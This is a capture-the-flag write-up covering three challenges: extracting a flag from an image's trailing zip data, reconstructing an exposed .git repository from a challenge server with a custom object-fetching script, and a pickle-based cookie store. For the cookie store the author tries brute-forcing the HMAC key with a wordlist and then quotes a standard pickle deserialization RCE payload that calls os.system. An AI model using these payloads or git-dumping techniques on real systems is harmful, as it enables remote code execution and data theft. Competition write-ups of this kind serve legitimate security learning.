Launch StegoVeritas on the image and examine findings:
1 2 3 4 5 6 7 8 9 10
$ stegoveritas kitty.jpg ... $ file results/trailing_data.bin results/trailing_data.bin: Zip archive data, at least v2.0 to extract $ unzip -t results/trailing_data.bin Archive: results/trailing_data.bin testing: abc OK No errors detected in compressed data of results/trailing_data.bin. $ cat abc watevr{7h475_4c7u4lly_r34lly_cu73_7h0u6h}
Conclusion: Another bad challenge wrongly categorized as Forensics when
in facts it is about steganography. A basic challenge where there is nearly
nothing to learn and which is far from real world security. All others
"forensics" challenges were image stenography too and not digital forensics.
PS: The challenge was terribly slow, frozen or down all the time. So I came back
after a night of sleep and in the meantime they pushed
a new fixed version of the challenge at http://13.53.175.227:50000/.git/.
$ rip-git -v -o gitdump -a -t 5 -g -u http://13.53.175.227:50000/.git/ [i] Downloading git files from http://13.53.175.227:50000/.git/ [i] Auto-detecting 404 as 200 with 3 requests [i] Getting 200 as 404 responses. Adapting... [i] Using session name: hHJqyGJN [!] Not found for COMMIT_EDITMSG: 404 as 200 [d] found config [d] found description [d] found HEAD [d] found index [!] Not found for packed-refs: 404 as 200 [!] Not found for objects/info/alternates: 404 as 200 [!] Not found for info/grafts: 404 as 200 [d] found logs/HEAD [!] Not found for objects/do/: 503 Service Temporarily Unavailable [d] found refs/heads/master [i] Running git fsck to check for missing items Checking object directories: 100% (256/256), done. error: refs/heads/master: invalid sha1 pointer e4729652052522a5a16615f0005f9c4dac8a08c1 error: HEAD: invalid sha1 pointer e4729652052522a5a16615f0005f9c4dac8a08c1 notice: No default references error: bad signature 0x6d74683c fatal: index file corrupt [i] Got items with git fsck: 0, Items fetched: 0 [!] No more items to fetch. That's it! [!] Performing intelligent guessing of packed refs Undefined subroutine &main::permutations called at /usr/bin/rip-git line 404.
$ cd gitdump
$ git status error: bad signature 0x6d74683c fatal: index file corrupt
The local git repository is broken because because many files were not
downloaded. So let's take a look manually.
First remove the corrupted index.
1 2 3 4 5
$ rm -f .git/index $ git status error: bad tree object HEAD $ git reset error: bad tree object e4729652052522a5a16615f0005f9c4dac8a08c1
We can't restore the index to a previous version.
So I tried to make a check to see what's going bad:
1 2 3 4 5 6 7 8
$ git fsck --full Checking object directories: 100% (256/256), done. broken link from commit e4729652052522a5a16615f0005f9c4dac8a08c1 to tree 5e72097f3b99ce5936bff7c3b864ef6c7a0dae85 broken link from commit e4729652052522a5a16615f0005f9c4dac8a08c1 to commit 0bba32f12b0b1dd8df052ebf3607dadccb9350d7 missing commit 0bba32f12b0b1dd8df052ebf3607dadccb9350d7 missing tree 5e72097f3b99ce5936bff7c3b864ef6c7a0dae85
First download the last object that must refer to a commit.
$ python Python 3.8.0 (default, Oct 232019, 18:51:26) [GCC 9.2.0] on linux Type"help", "copyright", "credits"or"license"for more information. >>> import zlib >>> filename = '.git/objects/e4/729652052522a5a16615f0005f9c4dac8a08c1' >>> compressed_contents = open(filename, 'rb').read() >>> decompressed_contents = zlib.decompress(compressed_contents) >>> decompressed_contents b'commit 243\x00tree 5e72097f3b99ce5936bff7c3b864ef6c7a0dae85\nparent a20f56853b2d9b30fca05f464a64609f822317a3\nauthor Travis CI User <travis@example.org> 1576262795 +0000\ncommitter Travis CI User <travis@example.org> 1576262795 +0000\n\nMake things a bit tighter'
So we can see the tree object ID and the parent object ID (previous commit).
We could do that over and over again but since it's very boring and time
consuming to do that manually for many objects, I wrote a Ruby script
to automate the process.
unlessARGV[0] == 'read'# not read only # mkdir -p can create nested folder but also won't complain if already exist FileUtils.mkdir_p(object_folder)
# Download the missing object Net::HTTP.start('13.53.175.227', 50000) do |http| resp = http.get('/' + object_path) open(object_path, 'wb') do |file| file.write(resp.body) end end end
unlessARGV[0] == 'download'# not download only # Decompress and read the object compressed_contents = File.read(object_path) decompressed_contents = Zlib::Inflate.inflate(compressed_contents) puts(decompressed_contents) end
I can either read, download or both a git object. So I used it:
1 2 3 4 5 6 7 8 9 10 11 12
$ ruby ../solve.rb 0bba32f12b0b1dd8df052ebf3607dadccb9350d7 commit 234tree cfca56eeb6e546f6d7bb12b2ef486be214cda116 parent 34f87063064f5c8c450279bf04c72c9d62000861 author Travis CI User <travis@example.org> 1576308513 +0000 committer Travis CI User <travis@example.org> 1576308513 +0000
Add content text
$ ruby ../solve.rb cfca56eeb6e546f6d7bb12b2ef486be214cda116 tree 118100644 folder.htmlV6��kŐfd�1����� �100644 index.html�`��e^����l1�o�8�100644 web_server.py���d^dC��D+��5\�'
...
I did that until the initial commit.
Now let's browse git normally.
1 2 3 4 5 6 7 8 9
$ git status On branch master Changes to be committed: (use "git restore --staged <file>..." to unstage) deleted: folder.html deleted: index.html deleted: web_server.py
$ git checkout ab4e6cc error: unable to read sha1 file of flag.txt (ef460ecd090b93b133675a0560eb15ae5c7ef822) error: unable to read sha1 file of index.html (278e44e8dcfcd51d34a0e4125dd5762741ad30f2) error: invalid object 100644 ef460ecd090b93b133675a0560eb15ae5c7ef822 for 'flag.txt' D flag.txt D index.html Note: switching to 'ab4e6cc'.
You are in 'detached HEAD' state. You can look around, make experimental changes and commit them, and you can discard any commits you make in this state without impacting any branches by switching back to a branch.
If you want to create a new branch to retain commits you create, you may do so (now or later) by using -c with the switch command. Example:
git switch -c <new-branch-name>
Or undo this operation with:
git switch -
Turn off this advice by setting config variable advice.detachedHead to false
HEAD is now at ab4e6cc did some work on flag.txt
But the object ID for flag.txt is missing, so let's download it with my
awesome script.
Conclusion: this challenge was a pain in the a*s because it was very
unresponsive, always timeouting and it was nearly impossible without luck to
fully dump the git repository. The author loovjo was unresponsive, DayDun
tried to help but only said me "timeout is not intentional". mateuszdrwal
was more helpful and tried to separate the nginx from the python app server
(maybe they were running inside the same docker container?) and he was also
trying to implementing rate limiting. Finally I was able to do the challenge.
Thanks to mateuszdrwal.
{'money': 390, 'history': ['Yummy standard pickle', 'Yummy smörgåsgurka'], 'anti_tamper_hmac': 'afc5ecb599a222a7fcbcf543f25368ce'}
So of course the goal here is to tamper the cookie like during the Cookie Store
challenge and to change our money balance to be able to buy the 1000$ pickle.
defmake_digest(message): "Return a digest for the message." hash = hmac.new(b'secret-shared-key-goes-here', message, hashlib.md5) returnhash.hexdigest()
# base64 encoded pickled data b64_str = 'gAN9cQAoWAUAAABtb25leXEBTYYBWAcAAABoaXN0b3J5cQJdcQMoWBUAAABZdW1teSBzdGFuZGFyZCBwaWNrbGVxBFgUAAAAWXVtbXkgc23DtnJnw6VzZ3Vya2FxBWVYEAAAAGFudGlfdGFtcGVyX2htYWNxBlggAAAAYWZjNWVjYjU5OWEyMjJhN2ZjYmNmNTQzZjI1MzY4Y2VxB3Uu' # decode the data pickle_data = base64.b64decode(b64_str) # unpickle the data unpickled_data = pickle.loads(pickle_data)
print("original data: %s" % unpickled_data)
# try to alter data unpickled_data['money'] = 9999 # delete the current anti-tamper HMAC del unpickled_data['anti_tamper_hmac'] # pickle data before generating a new HMAC pickle_data = pickle.dumps(unpickled_data) # generate the HMAC of the pickled data digest = make_digest(pickle_data) # add the digest to the data unpickled_data['anti_tamper_hmac'] = digest print("modified data: %s" % unpickled_data) # pickle data with the HMAC this time pickle_data = pickle.dumps(unpickled_data) # base64 encode the pickled data b64_str = base64.b64encode(pickle_data)
print(b64_str)
So I used it to forge a new cookie:
1 2 3 4
$ python picky.py original data: {'money': 390, 'history': ['Yummy standard pickle', 'Yummy smörgåsgurka'], 'anti_tamper_hmac': 'afc5ecb599a222a7fcbcf543f25368ce'} modified data: {'money': 9999, 'history': ['Yummy standard pickle', 'Yummy smörgåsgurka'], 'anti_tamper_hmac': 'c2f530fef09afd8867ae6dca5eb36443'} b'gASVgwAAAAAAAAB9lCiMBW1vbmV5lE0PJ4wHaGlzdG9yeZRdlCiMFVl1bW15IHN0YW5kYXJkIHBpY2tsZZSMFFl1bW15IHNtw7ZyZ8Olc2d1cmthlGWMEGFudGlfdGFtcGVyX2htYWOUjCBjMmY1MzBmZWYwOWFmZDg4NjdhZTZkY2E1ZWIzNjQ0M5R1Lg=='
And obviously it failed when I sent it to the server because the HMAC was wrong.
So how to get the the HMAC key to be able to sign the cookie?
No hint in the description or on the website, no SSTI to read server-side
variables, no other vulns, no source or backup files, etc. so there are two
options left to forge a valid cookie:
guessing
bruteforce
So I wrote a script to try to bruteforce the HMAC key with rockyou wordlist:
defmake_digest(message, key): "Return a digest for the message." hash = hmac.new(bytes(key, 'latin-1'), message, hashlib.md5) returnhash.hexdigest()
# base64 encoded pickled data b64_str = 'gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAYWExYmE0ZGU1NTA0OGNmMjBlMGE3YTYzYjdmOGViNjJxBXUu' # decode the data pickle_data = base64.b64decode(b64_str) # unpickle the data unpickled_data = pickle.loads(pickle_data)
# retrieve the digest original_digest = unpickled_data['anti_tamper_hmac'] # delete the current anti-tamper HMAC del unpickled_data['anti_tamper_hmac'] # pickle data before generating a HMAC pickle_data = pickle.dumps(unpickled_data)
# try to BF HMAC key with rockyou wordlist wordlist = '/usr/share/wordlists/password/rockyou.txt' lines = tuple(open(wordlist, 'r', encoding="latin-1")) #lines = ('Pickle', 'pickle', 'Mateusz', 'mateusz', 'watevr', 'Watevr', # 'watevrctf', 'watevrCTF', 'mateuszdrwal', 'Yummy') for password in lines: if make_digest(pickle_data, password.rstrip()) == original_digest: print(password)
But I never got the key and neither did my small guessing list succeeded.
I tried to be smart and tried those without success:
just remove anti_tamper_hmac --> error 500
'anti_tamper_hmac': None --> error 500
launch BF script again but like if only money data was signed and not history
etc.
Nothing works, the author keeps sayings no hints.
After the CTF end I read another WU made by r3billions,
the thing to do was not to crack the HMAC secret to forge a valid cookie but to abuse
pickle deserialization to get an RCE. I wrongly thought that because of the HMAC the payload
won't be executed if the HMAC was not verified but that's true that the payload is unpickled
before the content can be read and so the HMAC can be veriefied. Once again I went to far,
only a common pickle deserialization payload such as this one was needed:
1 2 3 4 5 6 7 8 9 10 11 12
import cPickle import sys import base64
COMMAND = sys.argv[1]
classPickleRce(object): def__reduce__(self): import os return (os.system,(COMMAND,))